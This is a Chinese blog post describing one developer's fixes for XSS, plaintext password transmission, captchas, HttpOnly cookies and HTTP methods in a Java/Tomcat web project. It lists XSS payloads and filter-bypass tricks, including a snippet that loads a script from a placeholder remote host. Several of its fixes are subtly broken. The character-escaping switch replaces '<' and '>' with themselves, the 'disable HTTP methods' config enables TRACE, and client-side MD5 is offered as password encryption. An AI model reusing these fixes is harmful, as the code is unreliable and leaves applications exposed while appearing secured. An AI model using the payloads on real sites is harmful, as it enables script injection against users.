web项目安全漏洞防御实战

LK最近在对已有项目进行安全漏洞防御,现在将一些心得分享出来和大家一起讨论.主要是从下面几个方面进行漏洞修复。

1. 跨站脚本攻击漏洞(xss)
2. 敏感数据未加密传输
3. 验证机制缺陷
4. Cookie中未设HttpOnly标识
5. 危险的HTTP方法未禁用

1.跨站脚本攻击漏洞(xss)

先来了解一下什么是xss
  • 概念
    xss又叫css(cross site scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。

  • 类型
    1.存储型/持久型
    存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
    2.反射型/非持久型
    反射型一般是带有恶意脚本参数的URL,是一次性的。
    3.DOM型
    基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。

  • 构造方法
    1.利用html标记<>进行操作

    <script>alert(1);</script>
    <script>prompt(1)</script>
    <iframe src="javascript:alert(1)">
    

    2.利用html标签属性
    利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如:

    <img src="javascript:alert(1);"/>
    <table background="javascript:alert(1);"></table>
    

    3.事件利用
    可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性

    <input type="button" value="click me" "alert(1)" />
    

    .4.利用css跨站
    css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。

    <div style="background-image:url(javascript:alert(1))"></div>
    <style>
        body{background-image:url(javascript:alert(1));}
         //expression中可使用全角字符
        p{background-image:expression(alert(1));}
        <style>@import'javascript:alert('xss');'</style>
    </style>
    
    

    5.规避过滤规则
    可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如:

    <scRiPt>alert(1);</scrIPt>
    <scr<script>ipt>alert(1)</scr</script>ipt>
    <img src="javas		cript:alert(1);"/>//语句必须完整,有分号或者标签对。
    //可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码
    <img src="javascrip#116&#58alert(1)" />
    <a href=&quot;#javascript:alert(&#39;xss&#39;)&quot;>xss</a>
    //拆分,可绕过长度限制
    <script>z='document.'</script>
    <script>z=+'write'("'</script>
    <script>z=z+'<script'</script>
    
    

    6.DOM方法利用

    var s=document.createElement("script");
    s.src="http://xxx/xxx.js";
    document.getElementsByTagName("head")[0].appendChild(s);
    

    7.location方法利用
    利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。

    扫描二维码关注公众号,回复: 8812896 查看本文章
    <input type="button" value="click me" name=javascript:alert%281%29" location=this.name />
    <img src="1" location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
    
    
  • 防御
    1前端检验

     前端页面引入检测脚本------------httphijack1.1.0.js
     这是git上前端大神写的对其进行了小小的修改,与h5和node相关的部分暂且不用
    

    他主要检测了以下几方面攻击
    1)所有内联事件执行的代码
    2)href 属性 javascript: 内嵌的代码
    3)静态脚本文件内容
    4)动态添加的脚本文件内容
    5)document-write添加的内容
    6)iframe嵌套
    具体脚本如下:

    
    'use strict';
    (function(window) {
    
    var httphijack = function() {},
        inlineEventMap = {}, //内联事件扫描记录
        inlineEventId = 0, //内联事件扫描ID
        scanInlineElement = false; //是否需要扫描内联事件
    
    // 安全域,白名单
    var safeList = [
        /([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //*.yy.com
        /((https|http):\/\/)+([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //http开头
        /([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(:[0-9]{1,4})+(\.)+[A-Za-z]{2,14}/i, //帶端口的請求
        /[a-zA-Z0-9]\:\/\/[a-zA-Z0-9_/]*/i //手机相关
    ];
    
    
    // 危险域,黑名单
    // var dangerList = [];
    
    // 过滤class关键词
    var filterClassName = [
        'BAIDU_DUP_wrapper', //百度推广
        'BAIDU_DSPUI_FLOWBAR'
    ];
    
    // 过滤name关键词
    var filterProName = [
        'text',
        '#text',
        'IFRAME',
        'SCRIPT',
        'IMG'
    ];
    
    // 过滤id关键词
    var filterNodeId = [
        '1qa2ws'
    ];
    
    var inlineEventList = [
        'alert',
        'location'
    ];
    // reset console
    if (!console) {
        window.console = {
            log: function() {
                return true;
            }
        };
    }
    
    /**
     * 统计上报函数
     * @param  {[type]} url 拦截脚本地址
     * @param  {[type]} className 拦截插入元素className
     * @param  {[type]} eName 内联事件名称
     * @param  {[type]} fUrl ifrmae乔套url
     */
    function hiidoStat(url, className, eName, fUrl) {
        var hiidoParam = {
            'eventid': 10010793,
            'bak1': url,
            'bak2': className,
            'bak3': eName,
            'parm1': fUrl
        };
        
        
        if( url!=""  ||  url!=null ){
        	 console.log("拦截脚本地址"+url)
        }
        if( url!=""  ||  url!=null ){
       	 console.log("拦截插入元素"+className)
       }
        if( url!=""  ||  url!=null ){
       	 console.log("内联事件名称"+eName)
       }
        if( url!=""  ||  url!=null ){
       	 console.log("frmae乔套url"+fUrl)
       }
      //  h5Report(url, className, eName, fUrl);
        window.on_security_interdiction && window.on_security_interdiction.call(window, hiidoParam);
    }
    
    /**
     * h5性能检测统计
     * @param  {[type]} url 拦截脚本地址
     * @param  {[type]} className 拦截插入元素className
     * @param  {[type]} eName 内联事件名称
     * @param  {[type]} iframeUrl ifrmae乔套url
     */
    //    function h5Report(url, className, eName, iframeUrl) {
    //        var databody = {},
    //            queryStr = '';
    //
    //        databody.url = url ? url : '';
    //        databody.classname = className ? className : '';
    //        databody.name = eName ? eName : '';
    //        databody.iframeurl = iframeUrl ? iframeUrl : '';
    //        databody.pathname = window.location.pathname;
    //        databody.hostname = window.location.hostname;
    //        databody.ua = navigator.userAgent;
    //
    //        for (var n in databody) {
    //            if (databody[n] !== '') {
    //                queryStr += n + '=' + databody[n] + '&';
    //            }
    //        }
    //
    //        (new Image).src = 'http://h5.yy.com/hostage/report?' + queryStr;
    //    }
        /**
         * 过滤指定关键字
         * @param  {[Array]} 过滤词库 
         * @param  {[String]} value    [需要验证的字符串]
         * @return {[Boolean]}         [false -- 验证不通过,true -- 验证通过]
         */
        function filter(list, value) {
            if (list === safeList) {
                if (typeof(value) === 'undefined' || value === '') {
                    return true;
                }
            } else {
                if (typeof(value) === 'undefined' || value === '') {
                    return false;
                }
            }
            var length = list.length,
                i = 0;
            for (; i < length; i++) {
                // 建立黑名单正则
                var reg = new RegExp(list[i]);
    
                // 存在黑名单中,拦截
                if (reg.test(value.replace('https://', '').replace('http://', ''))) {
                    return true;
                }
            }
            return false;
        }
    
    // 内联事件劫持
    function inlineEventFilter() {
        var i = 0,
            obj = null;
    
        for (obj in document) {
            if (/^on./.test(obj)) {
                interceptionInlineEvent(obj, i++);
            }
        }
    }
    
    /**
     * 内联事件拦截
     * @param  {[String]} eventName [内联事件名]
     * @param  {[Number]} eventID   [内联事件id]
     * @return {[type]}             [description]
     */
    function interceptionInlineEvent(eventName, eventID) {
        var isClick = (eventName === 'onclick');
    
        document.addEventListener(eventName.substr(2), function(e) {
            scanElement(e.target, isClick, eventName, eventID);
        }, true);
    }
    
    /**
     * 扫描元素是否存在内联事件
     * @param  {[DOM]} elem [DOM元素]
     * @param  {[Boolean]} isClick [是否是内联点击事件]
     * @param  {[String]} eventName [内联 on* 事件名]
     * @param  {[Number]} eventID [给每个内联 on* 事件一个id]
     */
    function scanElement(elem, isClick, eventName, eventID) {
        var flag = elem.isScan,
            code = '', // 扫描内联代码
            hash = 0;
    
        // 跳过已扫描的事件
        if (!flag) {
            flag = elem.isScan = ++inlineEventId;
        }
    
        hash = (flag << 8) | eventID;
    
        if (hash in inlineEventMap) {
            return;
        }
    
        inlineEventMap[hash] = true;
    
        // 非元素节点
        if (elem.nodeType !== Node.ELEMENT_NODE) {
            return;
        }
        //扫描包括 a iframe img video div 等所有可以写内联事件的元素
        if (elem[eventName]) {
            code = elem.getAttribute(eventName);
            if (code && filter(inlineEventList, code)) {
                // 注销事件
                elem[eventName] = null;
                hiidoStat('', '', code, '');
                 console.log('拦截可疑内联事件:' + code);
            }
        }
    
        // 扫描 <a href="javascript:"> 的脚本
        if (isClick && elem.tagName === 'A' && elem.protocol === 'javascript:') {
            code = elem.href.substr(11);
            if (filter(inlineEventList, code)) {
                // 注销代码
                elem.href = 'javascript:void(0)';
                hiidoStat('', '', code, '');
                console.log('拦截可疑事件:' + code);
            }
        }
    
        // 递归扫描上级元素
        scanElement(elem.parentNode);
    }
    
    /**
     * 主动防御 MutationEvent
     * 使用 MutationObserver 进行静态插入脚本的拦截
     * @return {[type]} [description]
     */
    //    function interceptionStaticScript() {
    //        var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
    //        // 该构造函数用来实例化一个新的 Mutation 观察者对象 Mutation 观察者对象能监听在某个范围内的 DOM 树变化
    //        if (!MutationObserver) return;
    //        var observer = new MutationObserver(function(mutations) {
    //            mutations.forEach(function(mutation) {
    //                var nodes = mutation.addedNodes;
    //
    //                // 逐个遍历
    //                for (var i = 0; i < nodes.length; i++) {
    //                    var node = nodes[i];
    //                    // 扫描 script 与 iframe
    //                    if (node.tagName === 'SCRIPT' || node.tagName === 'IFRAME') {
    //                        // 拦截到可疑iframe
    //                        if (node.tagName === 'IFRAME' && node.src && !filter(safeList, node.src)) {
    //                            node.parentNode && node.parentNode.removeChild(node);
    //                            hiidoStat('', 'insertIFRMAETag', '', node.src);
    //                            // console.log('拦截到可疑iframe', node.src);
    //
    //                        } else if (node.src) {
    //                            // 只放行白名单
    //                            if (!filter(safeList, node.src)) {
    //                                node.parentNode && node.parentNode.removeChild(node);
    //                                hiidoStat(node.src, 'insertScriptTag', '', '');
    //                                // console.log('拦截可疑静态脚本:', node.src);
    //                            }
    //                        }
    //                    }
    //                }
    //            });
    //        });
    //
    //        // 传入目标节点和观察选项
    //        // 如果 target 为 document 或者 document.documentElement
    //        // 则当前文档中所有的节点添加与删除操作都会被观察到d
    //        observer.observe(document, {
    //            subtree: true,
    //            childList: true
    //        });
    //    }
    
    /**
     * 使用 DOMNodeInserted  进行动态脚本拦截监
     * 此处无法拦截,只能监测
     * @return {[type]} [description]
     */
    function interceptionDynamicScript() {
        document.addEventListener('DOMNodeInserted', function(e) {
            var node = e.target;
    
            if (!filter(safeList, node.src) || filter(filterClassName, node.className) || filter(filterProName, node.name) || filter(filterNodeId, node.id)) {
                node.parentNode.removeChild(node);
                hiidoStat(node.src ? node.src : '', node.className ? node.className : '', node.name ? node.name : '', '');
                console.log('拦截可以创建节点:'+ node.nodeName + ',id为:'+(node.id?node.id:''));
            }
        }, true);
    }
    
    /**
     * 重写单个 window 窗口的 document.write 属性
     * @param  {[BOM]} window [浏览器window对象]
     * @return {[type]}       [description]
     */
    function resetDocumentWrite(window) {
        var overWrite = window.document.write;
    
        window.document.write = function(string) {
            if (filter(filterClassName, string) || filter(filterProName, string) || filter(filterNodeId, string)) {
                hiidoStat('', string, '', '');
                // console.log('拦截可疑模块:', string);
                return;
            }
            overWrite.apply(document, arguments);
        };
    }
    
    /**
     * 重写单个 window 窗口的 setAttribute 属性
     * @param  {[BOM]} window [浏览器window对象]
     * @return {[type]} [description]
     */
    function resetSetAttribute(window) {
        var overWrite = window.Element.prototype.setAttribute;
    
        window.Element.prototype.setAttribute = function(name, value) {
            if (this.tagName === 'SCRIPT' && /^src$/i.test(name)) {
                if (!filter(safeList, value)) {
                    hiidoStat(value, '', '', '');
                    // console.log('拦截可疑模块:', value);
                    return;
                }
            }
            overWrite.apply(this, arguments);
        };
    }
    
    /**
     * 使用 MutationObserver 对生成的 iframe 页面进行监控,
     * 防止调用内部原生 setAttribute 及 document.write
     * @return {[type]} [description]
     */
    function defenseIframe() {
        // 先保护当前页面
        installHook(window);
    }
    
    /**
     * 实现单个 window 窗口的 setAttribute保护
     * @param  {[BOM]} window [浏览器window对象]
     * @return {[type]}       [description]
     */
    function installHook(window) {
    
        resetSetAttribute(window);
        resetDocumentWrite(window);
    
        // MutationObserver 的不同兼容性写法
        var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
        if (!MutationObserver) return;
        var observer = new MutationObserver(function(mutations) {
            mutations.forEach(function(mutation) {
                var nodes = mutation.addedNodes;
    
                for (var i = 0; i < nodes.length; i++) {
                    var node = nodes[i];
    
                    // 给生成的 iframe 里环境也装上重写的钩子
                    if (node.tagName === 'IFRAME') {
                        node.contentWindow && installHook(node.contentWindow);
                    }
                }
            });
        });
    
        observer.observe(document, {
            subtree: true,
            childList: true
        });
    }
    
    /**
     * 使用 Object.defineProperty,锁住call和apply,使之无法被重写
     * @return {[type]} [description]
     */
    function lockCallAndApply() {
        // 锁住 call
        try {
            Object.defineProperty(Function.prototype, 'call', {
                value: Function.prototype.call,
                // 当且仅当仅当该属性的 writable 为 true 时,该属性才能被赋值运算符改变
                writable: false,
                // 当且仅当该属性的 configurable 为 true 时,该属性才能够被改变,也能够被删除
                configurable: false,
                enumerable: true
            });
            // 锁住 apply
            Object.defineProperty(Function.prototype, 'apply', {
                value: Function.prototype.apply,
                writable: false,
                configurable: false,
                enumerable: true
            });
        } catch (e) {
            console && console.log(e);
        }
    
    }
    /**
     * 操作cookie的方法
     */
    var s__cookie = {
        set: function(key, val) {
            var date = new Date();
            date.setTime(date.getTime() + 60 * 1000); //格式化为cookie识别的时间
            document.cookie = key + '=' + val + ';expires=' + date.toGMTString(); //设置cookie
        },
        get: function(key) {
            var getCookie = document.cookie.replace(/[ ]/g, '');
            var arrCookie = getCookie.split(';');
            var tips;
            for (var i = 0; i < arrCookie.length; i++) {
                var arr = arrCookie[i].split('=');
                if (key == arr[0]) {
                    tips = arr[1];
                    break;
                }
            }
            return tips;
        }
    };
    /**
     * 重定向iframe url(页面被iframe包裹)
     */
    function redirectionIframeSrc() {
        var flag = 'type';
    
        if (self !== top) {
            var parentUrl = document.referrer,
                length = safeList.length,
                i = 0;
    
            for (; i < length; i++) {
                // 建立白名单正则
                var reg = new RegExp(safeList[i], 'i');
    
                // 存在白名单中,放行
                if (reg.test(parentUrl)) {
                    return;
                }
            }
    
            var url = location.href;
            var parts = url.split('#');
            if (location.search) {
                parts[0] += '&' + flag + '=3';
            } else {
                parts[0] += '?' + flag + '=3';
            }
            try {
                if (!s__cookie.get('HtpLocTmp')) {
                    top.location.href = parts.join('#');
                    // cookie记录这次跳转的时间点
                    s__cookie.set('HtpLocTmp', '1');
                }
                hiidoStat('', '', '', parentUrl);
                // console.log('页面被嵌入iframe中:', parentUrl);
            } catch (e) {
                hiidoStat('', '', '', parentUrl);
                // console.log('页面被嵌入iframe中, 重定向失败');
            }
        }
    }
    
    // 初始化方法
    httphijack.init = function() {
       interceptionDynamicScript();
        scanInlineElement && inlineEventFilter();
      // interceptionStaticScript();
        lockCallAndApply();
        defenseIframe();
       redirectionIframeSrc();
    };
    
    
    if (typeof define === 'function' && define.amd) {
        define('httphijack', [], function() {
            return httphijack;
        });
    } else {
        window.httphijack = httphijack;
    }
    
    // 不支持 IE8-
    if (navigator.appName == 'Microsoft Internet Explorer' && (navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE6.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE7.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE8.0')) {
        return;
    } else {
        if (!(/localhost/i).test(location.host) || (navigator.appName === 'Microsoft Internet Explorer' && (navigator.appVersion.match(/7./i) !== '7.' || navigator.appVersion.match(/8./i) !== '8.'))) {
            httphijack.init();
        }
    }
    })(window);
    

    有兴趣的话可以在git上搜里面有详细的功能介绍

    2.后端过滤
    xss防御的重点是后段,因为前端能做的真的很少
    后段我是采用过滤器实现的

    • 添加xss过滤器
    /**
     * 处理xss攻击
     * @author yrz
     *
     */
    public class RequestFilter extends OncePerRequestFilter{
    
    	@Override
    	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,  FilterChain filterChain)
    			throws ServletException, IOException {
    		 // 将request通过自定义的装饰类进行装饰
            XssRequestWrapper xssRequest = new XssRequestWrapper((HttpServletRequest) request);     
         filterChain.doFilter(xssRequest, response);
            
    	}
    
    }
    
    
    • reqeust包装类,重写getParameter()等方法,这里面对参数的转义和替换,根据实际需求更改
    package com.sinosoft.filter;
    
    import java.util.HashMap;
    import java.util.Iterator;
    import java.util.Map;
    import java.util.regex.Pattern;
    
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletRequestWrapper;
    
    public class XssRequestWrapper  extends HttpServletRequestWrapper{
    
    	 private HttpServletRequest request;
    
    	    public XssRequestWrapper(HttpServletRequest request) {
    	        super(request);
    	        this.request = request;
    	    }
    
        /**
         * 重写getParameter方法
         */
        @Override
        public String getParameter(String name) {
            String value = super.getParameter(name);
            if (value == null) {
                return null;
            }
            value = format(value);
            return value;
        }
    
        /**
         * 重写getParameterMap
         */
        @Override
        @SuppressWarnings("unchecked")
        public Map<String, String[]> getParameterMap() {
            HashMap<String, String[]> paramMap = (HashMap<String, String[]>) super.getParameterMap();
            paramMap = (HashMap<String, String[]>) paramMap.clone();
    
            for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext(); ) {
                Map.Entry<String, String[]> entry = (Map.Entry<String, String[]>) iterator.next();
                String [] values = entry.getValue();
                for (int i = 0; i < values.length; i++) {
                    if(values[i] instanceof String){
                        values[i] = format(values[i]);
                    }
                }
                entry.setValue(values);
            }
            return paramMap;
        }
    
    
        /**
         * 重写getParameterValues
         */
        @Override
        public String[] getParameterValues(String name) {
             String[] values = super.getParameterValues(name);  
             int count = values.length;  
                String[] encodedValues = new String[count];  
                for (int i = 0; i < count; i++) {  
                    encodedValues[i] = format(values[i]);  
                }  
            return encodedValues;  
        }
    
        /**
         * 重写getHeader
         */
        @Override
        public String getHeader(String name) {
            // TODO Auto-generated method stub
            return format(super.getHeader(name));
        }
    
    
        public String filter(String message) {
            if (message == null)
                return (null);
            message = format(message);
            return message;
        }
    
    
         /**
         *  @desc 统一处理特殊字符的方法,替换掉sql和js的特殊字符
         *  @param name 要替换的字符
         */
        private String format(String name) {
            return xssEncode(name);
        }
    
        /** 
         * 将容易引起xss & sql漏洞的半角字符直接替换成全角字符 
         *  
         * @param s 
         * @return 
         */  
        private static String xssEncode(String s) {  
            if (s == null || s.isEmpty()) {  
                return s;  
            }else{  
                s = stripXSSAndSql(s);  
            }  
            StringBuilder sb = new StringBuilder(s.length() + 16);  
            for (int i = 0; i < s.length(); i++) {  
                char c = s.charAt(i);  
                switch (c) {  
                case '>':  
                    sb.append(">");// 转义大于号  
                    break;  
                case '<':  
                    sb.append("<");// 转义小于号  
                    break;  
    //	            case '\'':  
    //	                sb.append("'");// 转义单引号  
    //	                break;  
    //	            case '\"':  
    //	                sb.append(""");// 转义双引号  
    //	                break;  
    //	            case '&':  
    //	                sb.append("&");// 转义&  
    //	                break;  
    //	            case '#':  
    //	                sb.append("#");// 转义#  
    //	                break;  
    	            default:  
    	                sb.append(c);  
    	                break;  
    	            }  
    	        }  
    	        return sb.toString();  
    	    }  
    
    
    
    	    /** 
    	     *  
    	     * 防止xss跨脚本攻击(替换,根据实际情况调整) 
    	     */  
    	    public static String stripXSSAndSql(String value) {  
    	        if (value != null) {  
    	            // NOTE: It's highly recommended to use the ESAPI library and  
    	            // uncomment the following line to  
    	            // avoid encoded attacks.  
    //	             value = ESAPI.encoder().canonicalize(value);  
    	            // Avoid null characters  
    	/**         value = value.replaceAll("", "");***/  
    	            // Avoid anything between script tags  
    	            Pattern scriptPattern = Pattern.compile("<[\r\n| | ]*script[\r\n| | ]*>(.*?)</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Avoid anything in a src="http://www.yihaomen.com/article/java/..." type of e-xpression  
    	            scriptPattern = Pattern.compile("src[\r\n| | ]*=[\r\n| | ]*[\\\"|\\\'](.*?)[\\\"|\\\']", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Remove any lonesome </script> tag  
    	            scriptPattern = Pattern.compile("</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Remove any lonesome <script ...> tag  
    	            scriptPattern = Pattern.compile("<[\r\n| | ]*script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Avoid eval(...) expressions  
    	            scriptPattern = Pattern.compile("eval\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Avoid e-xpression(...) expressions  
    	            scriptPattern = Pattern.compile("e-xpression\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Avoid javascript:... expressions  
    	            scriptPattern = Pattern.compile("javascript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Avoid vbscript:... expressions  
    	            scriptPattern = Pattern.compile("vbscript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	            // Avoid  expressions  
    	            scriptPattern = Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  
    	            value = scriptPattern.matcher(value).replaceAll("");  
    	        }  
    	        return value;  
    	    }  
    
    	 
    }
    
    • xss注入过滤器
      <filter>
        <filter-name>xssRequestFilter</filter-name>
        <filter-class>com.sinosoft.filter.RequestFilter</filter-class> 
    </filter>
    <filter-mapping>
        <filter-name>xssRequestFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    

    到此整个xss监测和防御就告一段落了,当然还可以使用csp内容安全策略,有兴趣大家可以研究研究,毕竟不是专业的前端。

2. 敏感数据未加密传输

  • 问题

    口令的传输未采用加密传输的机制

  • 解决思路

    启用信道加密以及身份识别技术,https协议,并且在前台做数据加密。
    具体实现:1.用户密码在前台进行md5加密。2.新增和修改用户时,用户密码进行2次加密。
    https实现请观看这篇博客 https://www.cnblogs.com/moon521/p/5948058.html

3.验证机制缺陷

这块主要添加高强度验证码

  • html
<label class="block clearfix">
   													<span class="block input-icon input-icon-right">
   														 <input  id="checks" style="width:100px;" name="checks" class="form-control" placeholder="请输入验证码"  type="password" value=""/>
   														  <img id="imgVerify" style="float: left;margin-left: 130px;margin-top: -28px;" src="" alt="点击更换验证码" /><a href="" style="float: right;margin-top: -28px;margin-right: 80px;" onclick="getVerify()" rel="nofollow">看不清,换一张</a>
   													</span>
   												</label>
  • js
$(document.body).ready(function () {
        //首次获取验证码
        $("#imgVerify").attr("src","${ctx}/getVerify?"+Math.random());
    });
    //点击“看不清楚”获取验证码
    function getVerify(){
        var src1=document.getElementById('imgVerify')
        src1.src = "${ctx}/getVerify?"+Math.random();
    }

-验证码生成类

public class RandomValidateCode {
    public static final String RANDOMCODEKEY= "RANDOMVALIDATECODEKEY";//放到session中的key
    //private String randString = "0123456789";//随机产生只有数字的字符串 private String
    private String randString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生只有字母的字符串
    //private String randString = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生数字与字母组合的字符串
    private int width = 95;// 图片宽
    private int height = 25;// 图片高
    private int lineSize = 40;// 干扰线数量
    private int stringNum = 4;// 随机产生字符数量
 
    private Random random = new Random();
 
    /*
     * 获得字体
     */
    private Font getFont() {
        return new Font("Fixedsys", Font.CENTER_BASELINE, 18);
    }
 
    /*
     * 获得颜色
     */
    private Color getRandColor(int fc, int bc) {
        if (fc > 255)
            fc = 255;
        if (bc > 255)
            bc = 255;
        int r = fc + random.nextInt(bc - fc - 16);
        int g = fc + random.nextInt(bc - fc - 14);
        int b = fc + random.nextInt(bc - fc - 18);
        return new Color(r, g, b);
    }
 
    /**
     * 生成随机图片
     */
    public void getRandcode(HttpServletRequest request, HttpServletResponse response) {
        HttpSession session = request.getSession();
        // BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类
        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);
        Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作
        g.fillRect(0, 0, width, height);
        g.setFont(new Font("Times New Roman", Font.ROMAN_BASELINE, 18));
        g.setColor(getRandColor(110, 133));
        // 绘制干扰线
        for (int i = 0; i <= lineSize; i++) {
            drowLine(g);
        }
        // 绘制随机字符
        String randomString = "";
        for (int i = 1; i <= stringNum; i++) {
            randomString = drowString(g, randomString, i);
        }
        //将生成的随机字符串保存到session中,而jsp界面通过session.getAttribute("RANDOMCODEKEY"),
        //获得生成的验证码,然后跟用户输入的进行比较
        session.removeAttribute(RANDOMCODEKEY);
        session.setAttribute(RANDOMCODEKEY, randomString);
        g.dispose();
        try {
            // 将内存中的图片通过流动形式输出到客户端
            ImageIO.write(image, "JPEG", response.getOutputStream());
        } catch (Exception e) {
            e.printStackTrace();
        }
 
    }
 
    /*
     * 绘制字符串
     */
    private String drowString(Graphics g, String randomString, int i) {
        g.setFont(getFont());
        g.setColor(new Color(random.nextInt(101), random.nextInt(111), random
                .nextInt(121)));
        String rand = String.valueOf(getRandomString(random.nextInt(randString
                .length())));
        randomString += rand;
        g.translate(random.nextInt(3), random.nextInt(3));
        g.drawString(rand, 13 * i, 16);
        return randomString;
    }
 
    /*
     * 绘制干扰线
     */
    private void drowLine(Graphics g) {
        int x = random.nextInt(width);
        int y = random.nextInt(height);
        int xl = random.nextInt(13);
        int yl = random.nextInt(15);
        g.drawLine(x, y, x + xl, y + yl);
    }
 
    /*
     * 获取随机的字符
     */
    public String getRandomString(int num) {
        return String.valueOf(randString.charAt(num));
    }
}
  • 后台生成验证码
 @RequestMapping(method = RequestMethod.GET, value = "/getVerify")
    public void getVerify(HttpServletRequest request, HttpServletResponse response){
        response.setContentType("image/jpeg");//设置相应类型,告诉浏览器输出的内容为图片
        response.setHeader("Pragma", "No-cache");//设置响应头信息,告诉浏览器不要缓存此内容
        response.setHeader("Cache-Control", "no-cache");
        response.setDateHeader("Expire", 0);
        RandomValidateCode randomValidateCode = new RandomValidateCode();
        try {
            randomValidateCode.getRandcode(request, response);//输出验证码图片方法
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
  • 验证码校验
String checks = request.getParameter("checks").trim().toLowerCase();
		HttpSession session = request.getSession();
		String verify = (String) session.getAttribute("RANDOMVALIDATECODEKEY");
		String verityNew = verify.toLowerCase();
		//将session中的验证码记录和用户提交的值进行比较
		//一致移除session记录,错误抛出异常
		if (!checks.equals(verityNew)) {
			throw new AuthenticationServiceException("VerityException");
		} else {
			session.removeAttribute("RANDOMVALIDATECODEKEY");
		}

4. Cookie中未设HttpOnly标识

  tomcat context.xml文件中配置<Context useHttpOnly="true">

5.危险的HTTP方法未禁用

tomcat server.xml文件中配置

<Connector connectionTimeout="20000" port="8080" protocol="HTTP/1.1" redirectPort="8443" allowTrace="true"/>

至此整个安全漏洞防御告一段落,当然还有好多问题,大家有什么问题可以在下面留言。
希望今天的自己比昨天更加进步。

发布了47 篇原创文章 · 获赞 18 · 访问量 5717

猜你喜欢

转载自blog.csdn.net/yuruizai110/article/details/89418330